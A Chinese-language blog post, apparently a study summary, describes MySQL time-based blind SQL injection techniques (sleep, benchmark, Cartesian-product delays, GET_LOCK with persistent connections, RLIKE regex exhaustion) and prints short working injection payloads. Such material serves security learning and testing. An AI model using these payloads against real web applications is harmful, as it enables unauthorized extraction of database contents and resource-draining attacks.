SQL时间盲注总结

写在前面

好久没做sql注入题了QwQ最近学到了点新姿势!就来写个总结复习一下OvO

sleep

应该是最基本的操作了OvO

and sleep(5) --+

Benchmark

benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

and benchmark(10000,sha(1))

这种方法不能精确延时

利用笛卡尔积延时注入

mysql> SELECT count(*) FROM information_schema.plugins ,information_schema.plugins A,information_schema.collations ,information_schema.collations B;
+-----------+
| count(*)  |
+-----------+
| 156550144 |
+-----------+
1 row in set (14.05 sec)

与if配合使用可以达到延时效果

and if(QUERY,(SELECT count(*) FROM information_schema.plugins ,information_schema.plugins A,information_schema.collations ,information_schema.collations B),1)

GET_LOCK()

get_lock()是Mysql的锁机制
(1)get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。
(2)当调用release_lock来释放上面加的锁或客户端断线了,上面的锁才会释放,其它的客户端才能进来。

这种方法需要有前提,即长连接
一般在php5版本系列中,我们建立与Mysql的连接使用的是
mysql_connect()
而在这里我们需要使用
$con = mysql_pconnect("mysql",$_ENV['MYSQL_USER'],$_ENV['MYSQL_PASSWORD']);
这两者有什么不同呢?

mysql_connect() 脚本一结束,到服务器的连接就被关闭
mysql_pconnect() 打开一个到 MySQL 服务器的持久连接

mysql_connect()使用后立刻就会断开而mysql_pconnect()会保持连接,并不会立刻断开

这里还有一个注意点,第一次加锁后,需要等待1~2分钟,再访问的时候服务器就会判断你为客户B,而非之前加锁的客户A。此时即可触发get_lock

RLIKE

就是用一个长字符串来正则匹配来消耗资源。。

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

感觉不大好用。。。本地没有测试成功。。。

总结

时间注入分为两种,一种是利用函数执行时造成的时间消耗来盲注,另一种是利用函数本身的延时来盲注。

参考资料

https://blog.csdn.net/ga421739102/article/details/102817334

https://blog.csdn.net/weixin_43080961/article/details/124407637


告别纷扰,去寻找生活的宝藏。